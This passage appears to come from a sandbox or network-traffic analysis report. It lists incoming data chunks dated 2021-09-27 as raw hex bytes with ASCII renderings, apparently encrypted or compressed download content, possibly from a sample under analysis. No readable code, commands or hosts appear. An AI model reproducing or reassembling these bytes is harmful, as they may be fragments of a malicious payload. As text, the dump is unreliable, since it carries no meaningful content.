4c fa 1d 1e 05 f8 9e 8d e5 eb 40 bb 5f 67 ef d5 00 d3 96 8e d2 9e 69 8e c0 06 b2 d1 2b 54 d9 e2 8f ec f7 1e cf 45 82 2d 7a 46 42 bf ab 23 17 80 4a 5e Data Ascii: 0&B}Yg[Ul:f1Xbn[70hFbP9:0IXrsz+kC{W-rKMZr#(9+P-H'd,5oat(+dh&9f*pKr>Q&)x@GdL@_gi+TE-zFB#J^
2021-09-27 18:33:23 UTC	686	IN	Data Raw: 12 a4 06 bc 57 28 3c 62 ab 7d a6 6e 79 82 b7 ef 26 c2 19 dc 12 c0 82 3c 76 31 60 06 47 cd a7 81 c6 5d f6 79 ef d9 a1 cf 63 a2 b4 8b d6 80 a3 60 52 4a 71 7d f7 62 41 ad 30 5b e2 a6 fb 6d 8c 01 26 bf e7 8b d8 a8 6e 9e 98 76 f9 6f 2f 8b 73 b0 82 57 e3 d8 37 3a 95 b8 ea 7c 11 91 ec e5 2f d4 37 87 8b 6b 74 5d c7 d9 b0 54 11 89 c0 51 ea 38 02 82 03 98 ee 07 5c 9a d6 28 9e ab 6c f4 03 f5 64 08 37 08 1f db 64 c8 55 f0 f4 13 46 0d 8b 7b de 43 38 e8 f6 ac 90 69 7e 86 ef 6c 36 7c b7 88 f9 72 36 ec 10 3e 8d 8c b3 a8 b0 84 7c be a1 32 cb d4 74 34 12 4f b4 d2 40 f2 e4 3b 04 f3 c0 e1 82 10 02 cf 7e a4 ac 80 ce f7 b1 0a 32 d0 f0 6f d3 f6 91 39 fa 4c d8 32 93 4f d1 eb 47 be e0 01 a6 bb 02 53 5d d9 ac d7 8c 49 c9 65 93 53 3e 1b d9 ad 1a f7 d3 7d 0c 05 b9 fd 1c f5 4b 29 ae Data Ascii: W(<b}ny&<v1`G]yc`RJq}bA0[m&nvo/sW7:\|/7kt]TQ8\(ld7dUF{C8i~l6\|r6>\|2t4O@;~2o9L2OGS]IeS>}K)
2021-09-27 18:33:23 UTC	690	IN	Data Raw: 5c 50 6d 8a d6 cf 32 97 44 93 91 34 a6 62 8d 80 c4 d8 2d 4d 20 ee f5 ac f1 6f 64 e6 63 e1 b1 e5 7a 03 a5 39 c9 cd e5 99 4f 35 fa ff 77 a3 02 dd 05 e4 15 87 b0 b0 92 69 d7 b9 4b 55 15 c2 6a 2a c1 fe ef 66 ed 5b 3d ff 06 39 32 09 66 46 55 86 e8 c9 1d 66 4c a7 39 20 d1 fe 3d e8 0a 3e a8 6d 1f 23 5a 98 5f fc de 2b e4 95 47 30 f6 02 31 71 ab 1f d2 d5 a9 1e 0b 43 28 db ab d8 06 3b 17 b8 82 17 b0 98 c7 6c a2 b2 66 95 60 4d 00 8b f3 b5 37 2e 07 d6 3a 65 20 eb 40 8a 18 b9 c3 0d 3b 39 21 7b 99 0b fe 48 c3 ea fa 74 c8 55 5e 37 35 84 8a c1 2a 83 39 09 fc c2 0f c7 e1 98 92 dc 9d 7b a4 ab d2 6f 48 f8 4a 42 a1 c4 a6 97 ad 69 cb 77 de c3 9a 50 b0 0f 85 c1 a8 b7 0d 8e 55 7b e4 88 39 11 74 d9 b1 e6 14 b8 fc 86 e0 08 26 de e6 dc 1e 1f 73 53 3e d1 7c ce f6 9f 3e 6e 57 f7 76 Data Ascii: \Pm2D4b-M odcz9O5wiKUjf[=92fFUfL9 =>m#Z_+G01qC(;lf`M7.:e @;9!{HtU^759{oHJBiwPU{9t&sS>\|>nWv
2021-09-27 18:33:23 UTC	693	IN	Data Raw: a0 8d 5c ef 84 32 b8 78 af 6f b3 32 9a a8 f7 70 02 f7 e3 d7 a4 be 60 6b 85 90 64 5c 41 11 21 57 e5 27 31 53 3c 19 61 1e 52 64 74 99 60 50 41 d9 ba 57 cd c9 44 b6 a7 f7 b3 cd d0 7e 14 61 30 51 30 f8 c4 ac 6d 7a 7a 1f a7 41 13 a5 7f f1 33 3f 0f 5c d9 e2 1f 7e 19 55 c2 8d 06 30 d2 57 68 05 af d8 44 87 bc 75 1d e5 9f 08 09 b2 14 3b 1e 6d 1e 53 c9 65 22 5e 26 d6 f1 12 12 33 6d cb 84 ed 5a a9 a5 6d b5 05 a2 8d 57 00 31 44 96 d1 06 09 bc c6 30 c7 6d 06 3f 9c 60 43 20 5c 53 cd f3 7b 37 01 8a 31 12 5b 6d dc d8 4d 68 bb 83 ae 86 c5 e7 e0 24 55 1b bd 8d 73 6d de 23 5a 34 c0 22 e2 31 8f b3 43 01 a7 36 91 65 38 1e fa e3 90 1f 54 7d 3e cb c3 21 df a8 15 2e c0 54 c4 69 99 6e 35 98 ef 4a 1a 71 e7 b1 77 61 e4 6d d5 f3 56 26 84 92 2e e3 5c aa 16 75 bc c4 ae 9b 42 90 d5 95 Data Ascii: \2xo2p`kd\A!W'1S<aRdt`PAWD~a0Q0mzzA3?\~U0WhDu;mSe"^&3mZmW1D0m?`C \S{71[mMh$Usm#Z4"1C6e8T}>!.Tin5JqwamV&.\uB
2021-09-27 18:33:23 UTC	697	IN	Data Raw: 8e 0b 2e ba 6e f2 87 75 13 b7 18 b6 fa e4 79 0c ab 85 26 d8 fe 91 4e 74 6d b5 b0 91 21 0c 84 b1 fa 51 1c c4 fd 48 0f fd 77 dc 77 df 0e 30 71 52 be 92 db b4 98 c7 f8 c8 10 0c 11 9d 50 c5 5a 8d 73 a4 ae d1 cb fa 4c 4a 65 d7 b7 00 38 46 eb 98 db be bd 5d c5 d1 1a ec 10 10 1f db c4 03 33 54 74 e7 38 bf 2e f4 ea b2 b5 fc 41 63 d5 b5 12 19 6b 0c 70 df 6f db b0 26 a1 3e 11 c5 e4 dc 6e 29 57 a0 dd 66 07 b0 23 e9 d6 37 37 28 d5 09 c8 2c ef ca 93 ae 90 d1 d0 68 db ab 12 0e 0f 25 ab e2 1b 70 29 6b 81 7a 84 21 6b bb 47 9e ba b1 b6 de 24 2e aa cc 3b 26 97 e6 30 b6 15 a1 87 9e 8c 76 d2 3f 2b 73 85 cc a6 98 6c cf fb dc e1 61 c0 7d 86 fd 6b 2b 07 13 3f e5 56 54 8f 44 9b 45 17 b4 13 f8 a5 10 39 ec fd d4 1b a1 71 bf ff ac 8d 6d b9 f8 dd 79 d3 0d 5d 1f d8 1a 04 01 ba 79 9f Data Ascii: .nuy&Ntm!QHww0qRPZsLJe8F]3Tt8.Ackpo&>n)Wf#77(,h%p)kz!kG$.;&0v?+sla}k+?VTDE9qmy]y
2021-09-27 18:33:23 UTC	701	IN	Data Raw: fb 75 d3 48 4f 9d 55 b6 88 82 b8 0f bb ea 4e 75 c6 b3 42 84 da 43 88 c5 2c 3f 01 1a 8c 40 8a 28 a7 31 da 39 26 cb c1 b3 25 af 6c 31 7f 37 2d 54 42 b5 f9 4a 8e e5 91 e9 10 16 cc ed 27 4f 86 83 30 ce 13 70 09 85 05 32 ff eb 60 73 3a 92 fb 8b 64 5e 4f fc ef be 92 ec af 6a 99 6c f0 13 bc d4 9e 41 ab 80 3e c8 b8 e1 b3 c2 81 b9 35 56 7d b4 40 4f cc 04 50 48 34 54 05 f4 a4 94 6a c1 95 0c 2b 7c c8 b0 eb de 24 df 10 f9 10 4c 8d 41 a1 d9 92 8b 61 ea b3 f7 48 ce 51 dc 96 29 00 76 1e 88 5a 46 3f fa e4 1f 6a 34 9d df 83 a0 f5 71 9f 3a 71 0c 3c 0e 28 78 b2 0d a2 72 d3 7d ec 06 4a af 4b 35 5e 37 74 02 4f 8f 2c c0 09 d2 09 bf 8c 99 07 be 0c 2c 88 ef 1f 43 56 67 b5 4e 3b 34 c4 c4 40 0d 1e f7 62 41 0f a7 ba b8 a6 5b 9b 8f 4d 4b e9 08 84 ee 44 7c cc 57 c2 a1 df 81 bf 5f 92 Data Ascii: uHOUNuBC,?@(19&%l17-TBJ'O0p2`s:d^OjlA>5V}@OPH4Tj+\|$LAaHQ)vZF?j4q:q<(xr}JK5^7tO,,CVgN;4@bA[MKD\|W_
2021-09-27 18:33:23 UTC	705	IN	Data Raw: 6a 39 a5 36 e9 98 c2 2a 09 1a 02 ee 24 7e 56 02 3a b7 f5 b8 b8 48 5a a7 c4 2f e4 13 a5 fc ca 5f 0c d2 ff c9 c0 6a 8a 0c 1f 6d ba 73 c0 29 18 35 bd 04 ef 64 44 83 d6 31 a3 b4 66 ab d4 82 17 0c 00 88 56 69 ab 08 60 27 0d 7e e2 be 6e 46 83 7d 33 d1 72 c7 72 e0 d2 43 bf fe b6 d0 c5 17 11 40 4e 08 37 ff dd a4 ae 95 cb a1 6c 5b 2a 9e 1f 7e bc c5 ee e8 1d bd 5f 8d 0e d7 8b 9d ec ab 40 0a ac 8d d2 88 f0 f9 61 9e ce 0a e3 30 b9 52 5e 5a 7c bd 13 62 24 ea 8f 66 55 b3 d7 24 5d a6 ab a7 12 1b 6f ae d1 cb 8a 7a c8 bf a4 b5 04 30 f0 f8 9d d2 92 28 e3 e1 9c 68 a2 48 80 6b e8 f8 9c b9 e2 d7 c0 56 b8 c3 f2 ea 0d b7 ea 4a 9c 1f 7f a7 50 70 71 6c 47 17 1c 4b 84 65 dc 37 7a d9 76 7b f3 2d 77 44 66 30 a7 87 6f 31 2c f8 cf c7 d7 ab 35 91 6f 9f 81 8e 42 ee 3c 4f 9f f5 f0 ea 8a Data Ascii: j96$~V:HZ/_jms)5dD1fVi`'~nF}3rrC@N7l[~_@a0R^Z\|b$fU$]oz0(hHkVJPpqlGKe7zv{-wDf0o1,5oB<O
2021-09-27 18:33:23 UTC	709	IN	Data Raw: 1b cc 86 b9 0e 02 62 f9 60 64 49 e1 2c 7c 05 c8 c3 85 ed 9c e8 00 bd 02 38 cd 08 05 32 9d 33 37 09 c4 5f c0 00 fa 76 6e d4 f7 2e c1 88 5e ec 66 40 c5 fa c1 88 c3 73 16 a5 51 06 70 2f 57 a1 98 01 cc 29 20 f6 da 50 42 75 7f 3a 34 ca af 05 c5 e8 2b c9 53 db 8b 6f 75 b1 f3 f0 9e a1 87 ef 16 e6 8e ff 4c 5d 33 f3 5a ad 12 0f fd 79 7b 9c bc ae 4d 64 2b 32 ba 9c d8 c0 00 8a b6 96 d1 1f 5e e4 b8 c1 9b ec f6 2c 7d 04 36 90 24 fc b2 dd 18 60 67 c9 45 f2 e5 ff f4 83 d2 a4 71 20 94 cf 3b 36 7b ed b1 70 3a a2 17 70 02 1c 63 ac 0b 7c ba 0e 9f ca 59 f2 53 d1 0e 5f b7 ad 5d 17 74 d8 ae fa 7a 47 6f 58 e8 ea 0c a7 8d 9d fe 24 8d d0 4e 66 48 5a 91 fd 52 e1 fb ff a5 34 a2 85 a3 c3 fd 14 8a 96 7f 5f fd ba c9 32 cb 77 38 80 b4 11 e7 f6 70 21 0c 71 50 ac d1 73 73 65 d1 2f e9 ef Data Ascii: b`dI,\|8237_vn.^f@sQp/W) PBu:4+SouL]3Zy{Md+2^,}6$`gEq ;6{p:pc\|YS_]tzGoX$NfHZR4_2w8p!qPsse/
2021-09-27 18:33:23 UTC	714	IN	Data Raw: dc 13 e2 91 2a aa 8a 2e 4c 49 af 29 55 31 c9 a6 b2 76 db 23 4b de 9d 80 f1 9a 74 a3 35 53 35 f4 cf 4f 5c fb 79 8e fe 82 93 a0 48 35 43 99 72 41 ce bd 8c 4f 7e a0 a9 da 35 e3 78 35 0c fc 16 86 52 48 eb 7a 69 97 55 00 d8 9e 96 e4 2b 69 9c 9e ab d1 14 40 97 c3 b8 5b d3 ba 98 a8 58 38 c6 f2 68 f0 7e 92 49 e4 20 f4 48 4f fa 94 9a 79 36 8a 51 66 0c 56 0d 85 7b ae 2f ce c7 a7 ae 67 50 de 1e e8 47 2f 8c 3c 0d 80 2b f4 e3 6e 3d 78 e3 08 fe d6 b0 eb 22 ec bc 22 6b 44 66 84 ac cf 0b 65 c4 d0 1f 1c 7b 9f fe 1f 98 d1 9a f7 ba 79 80 30 c3 36 77 2e 28 a2 cc 67 88 7e 11 63 c4 95 24 ab 65 4e 31 01 2b cc b2 f0 12 5f 54 60 4b e5 19 48 35 df d4 cf 7f 21 43 63 ce f4 7d b0 7b 0a 30 f7 56 a1 c8 54 c2 84 66 e0 34 02 1b 53 41 15 5a c0 fb 8f 44 1a 1d 5d c1 cc ab aa 39 f7 07 67 46 Data Ascii: *.LI)U1v#Kt5S5O\yH5CrAO~5x5RHziU+i@[X8h~I HOy6QfV{/gPG/<+n=x""kDfe{y06w.(g~c$eN1+_T`KH5!Cc}{0VTf4SAZD]9gF
2021-09-27 18:33:23 UTC	718	IN	Data Raw: ee de 68 ea 2a c6 56 92 b5 f2 d8 0b 59 0d bc 1f bb 11 0d c7 2b 42 ad a5 47 f5 a4 82 60 99 69 1a 2e 2d 5f 21 3e 23 77 ca d5 a3 79 f8 70 34 94 83 eb ef 25 ba c6 2b 5b e2 60 5e 55 af 6a 07 34 06 f2 13 25 a7 ec d3 4e 34 ec 04 4f 28 3e c7 d0 e6 b4 05 05 20 2c 31 b9 6b 5d 13 91 32 fa af 49 45 15 6d 32 f6 b7 5d cf 0a f5 1a 3d 98 cf 10 fb 10 0c c1 95 6b 1c ef 00 c9 0d 8f f6 6c dc dc 55 d2 5c ce c7 a8 d9 77 94 3f 28 13 19 c3 76 a0 f0 02 d4 65 67 ef 11 38 eb 05 b4 73 86 81 4b f1 fa 81 82 9f 3f bd da b0 9e e3 a0 e4 fc d7 d7 d8 71 f9 45 d2 a1 f0 00 7d 78 c9 6f 82 c6 54 d1 6f 3a f6 cb 92 ed eb 7e d5 96 77 41 a4 4c 75 38 68 d6 3d 0f 61 9f a2 30 fd 90 eb 70 52 ce 92 07 62 b9 1f 9e ec 41 c5 fa 6c 0f c6 b6 0a 24 8f 1f 27 cf 69 56 b2 00 27 30 b5 34 50 5c 9d ba e4 33 d4 4e Data Ascii: h*VY+BG`i.-_!>#wyp4%+[`^Uj4%N4O(> ,1k]2IEm2]=klU\w?(veg8sK?qE}xoTo:~wALu8h=a0pRbAl$'iV'04P\3N
2021-09-27 18:33:23 UTC	722	IN	Data Raw: a3 24 31 47 4f fb 33 be d1 da bd e3 ee 54 26 81 e3 3d 93 5b 12 b4 3c 18 79 95 15 9c 72 e1 b0 e6 cd 35 d9 9d fa 94 61 23 44 7d 53 8f e6 0a 86 fa 2e e7 a7 06 69 6c 91 c3 cc 24 b8 12 97 77 af 9a 06 49 19 b2 1e 31 5d de a7 bc d1 0c 12 de 05 37 2f 47 3a 04 ab a7 fa 1d d0 af cd b5 01 d9 4d db 80 6a 6f 47 c3 76 c6 a1 c7 b2 a3 a7 32 e7 3f 77 f0 a7 35 94 85 a4 6c 6d a8 d8 d8 32 ec 09 2c 0c 0a c6 ee 93 5c 9c 0e 4e 22 60 2d 32 c7 4d e1 84 b0 30 c5 22 a0 1c ac 9d c9 19 5c 4a fe a0 52 0c 38 44 02 c3 34 34 88 83 4b 9b 9a 5f 1a 72 73 02 2c dc 20 9c 71 52 ae 04 ab 70 54 cb 19 28 52 79 1d f9 5c df 20 88 df d8 c5 e1 32 76 b8 c6 bb 5b 0b 15 be f7 16 c0 63 20 65 48 b0 50 ce 0d 19 b0 f0 19 43 ec 3f 10 1a d5 3b a5 09 c4 fa 76 98 a1 d7 b0 1b da 7c b5 2f e3 32 ab 6a da 7a 82 35 Data Ascii: $1GO3T&=[<yr5a#D}S.il$wI1]7/G:MjoGv2?w5lm2,\N"`-2M0"\JR8D44K_rs, qRpT(Ry\ 2v[c eHPC?;v\|/2jz5
2021-09-27 18:33:23 UTC	725	IN	Data Raw: fa 63 24 79 dd 6b 0a 2d 8f 1d 95 1f d2 1b 3c 25 66 c3 ce 43 0d d3 b9 e2 b3 b3 25 a1 3f 81 92 61 94 6a f0 2a af 79 89 b3 1e 75 ac d2 93 5f 9e 8f df a7 19 f9 54 e8 24 ca 50 8e a0 e0 f9 69 b6 db 77 58 16 88 6a 67 01 d8 d6 46 4f 88 b2 aa 86 5e 98 b8 56 ca 1c de 6a 27 4b e7 13 76 f6 68 1e 5b 63 ae a8 db 53 93 7e a8 55 e3 4e de 79 42 2a 86 a2 62 c0 c6 39 8d 51 fa 78 89 fa 1b 8b 7e cc 2a 00 92 7b 07 1f 39 27 0d b3 69 8e 6e 1d ff 37 1f 3d d2 41 74 20 1c 0f 15 00 06 63 64 e0 e2 c2 f1 2f 9d fe 09 cb 42 3e dc d2 da 6b f3 b6 f0 df f8 48 25 af 92 b6 1b a3 53 a4 4a 13 07 fa 08 d1 ca 70 39 1e e2 3b 68 6c ae 21 69 a4 ef 35 12 99 30 03 b2 79 93 c8 df 92 e8 18 c6 dc 7a de f6 dc 92 70 26 bd 7d 2b 9a 61 19 9c d5 48 66 4e 35 5e 6e 8c 4e f1 c4 4d e9 85 20 9f bb 74 d3 80 8a 59 Data Ascii: c$yk-<%fC%?ajyu_T$PiwXjgFO^Vj'Kvh[cS~UNyBb9Qx~*{9'in7=At cd/B>kH%SJp9;hl!i50yzp&}+aHfN5^nNM tY
2021-09-27 18:33:23 UTC	729	IN	Data Raw: 11 b4 0a 96 b7 bf e0 1f 58 bd 18 6a 86 e9 6f 42 d1 b3 b8 87 a6 3d 0d 74 d0 4a 2e 94 2f ad 56 77 ff 10 91 22 69 d6 07 e9 c2 cd 88 e4 98 63 58 29 79 a7 77 93 cc 03 86 3b 85 93 e7 d8 41 ba df 14 e4 6e 90 69 7b c8 29 32 a8 c4 2a 1b f2 02 30 c0 bb 2d 9a ec 52 03 83 37 15 bc aa 9f ed f1 bc 1b c7 02 53 dc b0 60 ae c6 92 34 2c 80 ba 80 a3 93 67 ed 10 b0 49 19 55 63 8e 02 89 fb db 16 67 b3 1a 4d f5 1d 8f f7 b0 d2 13 24 cd cd fa 34 a8 2e 5d 71 73 b2 65 91 3b ab 1d c9 b8 7c fb b8 9d 6f c5 c1 5c c6 78 70 0b 07 7a ba a3 6a 7f 7e fd b3 5b 0a 86 e1 fe 81 89 46 71 a8 38 14 31 f3 65 f7 75 1c ff 7e 1a 16 b8 f4 ef c3 e8 2b d2 ba 6b d9 39 b0 b0 4f dd 1c 4e 32 78 87 12 5b a6 58 8f 79 eb c4 d8 f6 a7 df 1a 92 1c fc 33 b1 b0 4a 28 8f a7 6b da 1a 1d eb 66 59 ec da 91 38 ca c5 d0 Data Ascii: XjoB=tJ./Vw"icX)yw;Ani{)2*0-R7S`4,gIUcgM$4.]qse;\|o\xpzj~[Fq81eu~+k9ON2x[Xy3J(kfY8
2021-09-27 18:33:23 UTC	733	IN	Data Raw: 2d ec 1f ed df f7 c2 9e 77 70 69 f5 07 62 93 3e 2d 5f 16 95 99 4e 70 f1 bc 14 9f fa f9 79 7e 6a a9 4a 6f a8 fc 29 98 7a 01 85 a3 6c fd 95 30 b4 73 d6 fb 8a d0 49 1d 84 89 b8 a4 3e b7 ee 16 6e b2 61 5a 71 b5 41 2b 27 4b 55 82 cf ee 26 9a 27 5c 31 bd 22 65 9d 36 93 94 05 f4 f3 09 15 42 55 d8 7d f6 e0 87 05 c0 9c f2 22 6f f1 ab d1 5c f2 86 7a 91 a7 c0 40 e1 1e bc 07 0c 1d 56 46 2b 0f f9 07 4a 9c d3 cd 41 49 7a b9 52 af f6 62 a6 31 6c 60 9d ca 1e 53 15 2f 8b 1b eb 31 91 0f a6 3a 7e af c4 d6 49 88 a9 99 4e e5 b2 e0 8e 06 a2 f0 90 8a ea a9 2a 9b d4 14 66 de c6 8e c2 2c bb 6c c4 69 81 dd 86 4b 70 63 1d 97 29 a9 ae b0 9a 66 7d ab ed f6 fb 65 29 fb bd bf 9a b9 a6 64 fa 9f 99 69 14 e1 b8 fd 4c b9 87 df 1d 0e 3e 79 88 52 fd f4 40 de 6b 3c 7e 30 8d 13 1f 38 99 7b 8a Data Ascii: -wpib>-_Npy~jJo)zl0sI>naZqA+'KU&'\1"e6BU}"o\z@VF+JAIzRb1l`S/1:~IN*f,liKpc)f}e)diL>yR@k<~08{
2021-09-27 18:33:23 UTC	737	IN	Data Raw: 5e aa c7 7d cc 0f 69 e0 c2 03 57 88 99 5b bc f5 9e cd 11 2e 8e b2 9c 4f a9 e0 e7 82 da 4d 79 3d 67 4d 47 93 a3 17 df 2c 73 e3 20 30 3f e2 bd b0 25 67 42 f1 57 27 59 e7 b6 84 09 26 8a d9 8c c6 2e eb c0 5d 79 5b 24 ad 65 f6 dd 1d 6e 04 af da 55 b5 2f b6 f6 c2 e3 44 8c 10 ce de 07 61 0e f2 99 b1 67 54 00 9e 54 c4 d4 08 d6 df 29 72 c0 2e ef 0a 2f 37 e8 67 49 f0 9b 75 2c 51 c9 3e 1a 60 c2 5a 92 8b 77 85 9b ca 92 2d 2c 6d 0a c4 60 90 62 e2 74 07 6e 91 c0 ed fe 94 b4 43 8b 60 84 6a 86 ec 7d 3a 92 12 b4 a9 ca 5d b7 e7 d8 8f 70 d4 cc ab 6b 2e 07 9e 41 a0 a1 ae 34 e2 bd c3 bf fa 0b 3e 75 62 63 3d 61 94 cc 13 2b 92 10 8e f8 93 4e b7 e8 5c 28 c7 21 5f 95 23 ba 9c 79 a4 e5 09 04 01 9f 91 3d 3b 71 be 07 10 45 af ac 69 85 e1 b2 8f ca 56 36 e2 cc 1e 68 9a 70 7e 8e 88 18 Data Ascii: ^}iW[.OMy=gMG,s 0?%gBW'Y&.]y[$enU/DagTT)r./7gIu,Q>`Zw-,m`btnC`j}:]pk.A4>ubc=a+N\(!_#y=;qEiV6hp~
2021-09-27 18:33:23 UTC	741	IN	Data Raw: 03 36 ca e6 46 ca 2a ab ca 6e 84 d7 24 5d bb da ec a8 29 75 92 de 14 43 64 e7 df c5 ea 92 ef 7b 4e fd be de 23 5d a8 f0 b0 5c 04 05 5e 0a 31 5e 58 3e ae d8 19 23 04 b1 64 ca 5d 21 74 88 35 39 f1 1f 12 80 94 62 2a 21 4a 0a a5 2d 03 03 48 8f 7c de 06 b7 0b 10 91 ef b8 79 25 94 f0 85 6b b2 8c d6 80 ec fc 20 0d e2 50 2c 94 29 90 48 60 15 c6 89 ad 81 72 b5 d7 03 85 c7 57 32 87 22 90 88 88 98 4f 76 c2 33 90 e3 88 aa e6 87 29 9c d9 06 96 d2 e9 d2 c7 24 9b db ed ee f5 a7 23 4c dd 53 15 69 59 62 4d 96 6d 45 28 db f7 d1 5b 97 51 ac db 1b 34 d4 92 18 d8 14 0e cb bc 71 fc 1e b7 db 27 43 ed 0e ac 64 f0 47 7f 8c e5 b5 a6 52 bb cd 75 d0 05 8f cf b6 cf a3 f2 af 97 19 ec 72 84 bb f4 95 be f9 78 0e bd 2a 94 b6 5d b6 58 d9 e3 22 49 6f cb fe 2d 1b 19 7a 7e 9d e9 55 2f 3c f0 Data Ascii: 6Fn$])uCd{N#]\^1^X>#d]!t59b!J-H\|y%k P,)H`rW2"Ov3)$#LSiYbMmE([Q4q'CdGRurx*]X"Io-z~U/<
2021-09-27 18:33:23 UTC	746	IN	Data Raw: 25 da 6d c6 97 6d e1 02 95 49 4d ce 5f 3c 1b 83 17 e3 f0 37 1a d7 cd 52 b0 4c d0 64 6b 8a 94 f2 89 e5 b3 97 d8 e1 2e dd f6 79 82 36 ac f0 a1 f7 7e a4 74 74 ba 05 e1 75 b7 0b 77 bc 2d 34 f1 48 65 cd ee 55 64 ce d4 41 27 1a 63 69 6d 7b da d4 d2 09 15 67 5b 24 da 30 22 6f 62 35 44 ba d0 70 b1 2f a9 bc fa 84 35 ba e9 6f 4f 0b da 6c 01 cc a8 35 f5 aa 9c 85 9a 55 01 ce c8 3a e2 82 24 73 18 87 17 40 4f 16 59 8b 91 bf 5e db 44 fd 34 80 cf 37 84 3a 4f df d4 16 15 f3 84 fe cf 4b a5 78 df 63 8a ac d4 29 16 a5 d8 86 54 9c 5f e1 30 af 9d 79 c3 34 75 df 7a 8c 10 70 94 39 a4 fc ff 74 61 b6 52 2c a5 0d af 67 af bd 3f af 3b 8a 63 96 de 2e 2a 8b 97 94 a2 4b e0 25 be 00 9c 96 d7 92 a6 9a 81 76 b1 f2 a6 f1 81 b9 7c cf 32 c9 07 ba a4 ad 95 90 4a c8 14 b2 2f 39 13 a0 32 6f 8c Data Ascii: %mmIM_<7RLdk.y6~ttuw-4HeUdA'cim{g[$0"ob5Dp/5oOl5U:$s@OY^D47:OKxc)T_0y4uzp9taR,g?;c.*K%v\|2J/92o
2021-09-27 18:33:23 UTC	750	IN	Data Raw: 80 d2 41 4a 29 60 3e 47 bc e2 92 66 6a f9 e2 b6 02 d4 87 83 8b c2 e0 be e9 9a 23 3f ad c9 07 9b dd 59 79 dc 6b b6 4b bf 3c ed 73 5e da 43 cf 50 e3 0f b6 37 01 52 78 e9 c0 17 fa 49 23 c2 f8 a3 65 96 c7 ce 66 ef 20 20 fd ab 40 f0 e5 66 be 61 d7 89 1b d0 59 d0 92 0e 38 dd 5b 10 be b9 3e 2b a9 ba 5a 10 18 0a 18 48 93 4c b4 8e 30 75 7b 49 90 c8 f8 8f ce 30 d1 2d d9 b9 63 9f 84 3a e4 cc 6e f2 9e 67 09 54 5c 46 84 e1 40 e1 7f 89 0a b5 59 48 66 40 4c 16 c2 90 30 18 be 62 e8 ba 1a 16 94 0e 04 d6 29 5c cc 92 f3 25 87 dc 94 c0 40 e5 00 55 f2 d4 e0 35 9b 4a 1f 0a 69 06 25 6b 32 37 66 93 a1 ca c7 e8 b7 ed af 1f d5 a7 a6 3f 13 19 53 20 a4 5c 69 e1 9e 90 43 ef 26 69 44 ef be ab ec a7 01 07 52 ee 04 17 7f 86 2c 21 c5 1c fc e5 c3 da ea 71 dd 62 2b fc bb e5 f4 53 ea a2 72 Data Ascii: AJ)`>Gfj#?YykK<s^CP7RxI#ef @faY8[>+ZHL0u{I0-c:ngT\F@YHf@L0b)\%@U5Ji%k27f?S \iC&iDR,!qb+Sr
2021-09-27 18:33:23 UTC	754	IN	Data Raw: 5b 1f eb 1a ed 0c ee 8a 2a bf 8d dc c7 b9 3a 42 7a 6f f3 45 ae 10 d9 63 f5 7e f7 04 7e 4f b5 84 19 57 3b 72 1e cc e0 31 66 0c 59 4f e3 02 ea d0 7e 65 3c 57 41 fb 91 fb 52 72 06 0b 19 cc 7e e2 05 82 88 23 66 b3 ed fb c2 05 40 e6 83 20 05 c1 ef 7c 27 11 0a 4f b5 8e f6 ca e0 fb 2d 5b 66 7c 48 f3 97 cd 47 cb 77 a3 ce 0f 68 03 3c 15 3a cf 1e 47 47 a6 b4 f5 8d 2a 27 41 89 0a f5 1b a9 54 5b a5 69 b0 e0 61 31 d0 8f 7f 03 a0 73 7b fc be 61 b9 52 8e f0 a6 e4 8f 65 b2 01 a9 a3 a0 e6 0c a7 fc d7 30 e2 50 49 0e 73 8d f8 7d 66 23 00 23 34 06 41 ba 13 30 59 c0 4e 6c e0 bb e4 e1 e4 f4 43 46 22 c8 13 ff 32 f5 d7 2f 52 83 56 9e 25 e3 28 73 12 65 e7 ff 04 85 15 78 d2 90 72 78 3c 97 91 98 1e 2e 32 4f 8b 6f 73 cc 36 5e d9 ed d3 f6 7d 8a e1 7d ff 5a 65 bb 3a 6e f7 03 5f 79 7e Data Ascii: [:BzoEc~~OW;r1fYO~e<WARr~#f@ \|'O-[f\|HGwh<:GG'AT[ia1s{aRe0PIs}f##4A0YNlCF"2/RV%(sexrx<.2Oos6^}}Ze:n_y~
2021-09-27 18:33:23 UTC	757	IN	Data Raw: 2f 1d 88 c2 ef 32 1c d9 53 08 01 52 10 c3 f2 2c 3a 04 5a 00 af 4d 1d 48 8f b6 9b 5f 1e 19 1b 19 4b 60 d5 e4 8b 61 92 0a 2e 15 17 39 2c 75 85 f0 54 91 00 f4 22 41 71 f2 a9 22 e0 ce 46 fa 8c ac 81 17 79 a3 43 ce fb 4e cc 2e 7d 8c 6a 85 b7 50 5d 16 7d 39 d6 c9 8d d4 8d a5 de 10 2f d8 c1 e3 98 5c 13 02 34 db 93 21 8a c3 dc 8e 87 cb 5a 8d ce 9c 88 83 52 c8 d0 ee c5 8c 84 a0 25 a8 1c e0 ac 5c a3 aa c9 b8 f1 a5 46 91 a7 e8 b1 61 3e c6 ed 08 83 c9 83 a3 62 45 23 0d 4c 9e 34 05 3d b8 53 70 b9 c7 4d 6e 92 27 ab d4 65 fe cd 50 88 af 3c 44 99 6d 27 f2 d8 2b 61 bf e2 6d 7a 0f e1 d6 a0 ef 7d 65 89 2b 44 39 0a 5f 85 e7 b0 eb d5 e2 87 8d ba fe 61 80 43 50 77 53 be d9 48 5a 18 b8 c0 73 81 e1 1a 56 3a 66 ee ba bf d5 a7 07 e1 07 77 8f f0 04 99 56 73 76 7f 28 2f 0c 95 d4 16 Data Ascii: /2SR,:ZMH_K`a.9,uT"Aq"FyCN.}jP]}9/\4!ZR%\Fa>bE#L4=SpMn'eP<Dm'+amz}e+D9_aCPwSHZsV:fwVsv(/
2021-09-27 18:33:23 UTC	761	IN	Data Raw: 3c 30 39 a1 c9 09 5b 54 8f f3 8e 7a eb 12 f1 fb a1 a8 5a e8 f4 30 39 a9 dc b9 02 a3 cd 47 f0 75 5f 4f 03 3a 51 66 bb 68 c0 f0 07 76 e1 06 d4 af ea 91 a2 23 99 c2 98 13 73 2d b2 1d 8b f8 1a 62 b1 9d bf 74 dc a1 c9 66 bb 3a 51 21 95 df 5e 82 fe 00 c5 3f dd 3c 56 e4 ea 81 7c 84 03 6c c9 46 6e ba 85 eb 7b 04 cf 17 7d 5b 20 61 2f 93 a7 ff ab c1 16 9f c4 ed 80 80 f9 e8 f4 30 39 a8 5a f1 89 af ea 8c 16 94 29 c9 29 c1 16 88 0d 04 cf 41 e2 c5 1f e4 ea 8a 11 0b 60 da d2 d1 3c 39 ce d6 c8 87 8a 65 38 23 99 db 54 af ea 9c 3d b4 76 94 29 c7 24 5f 2a 1f 90 53 0d 40 5f 20 12 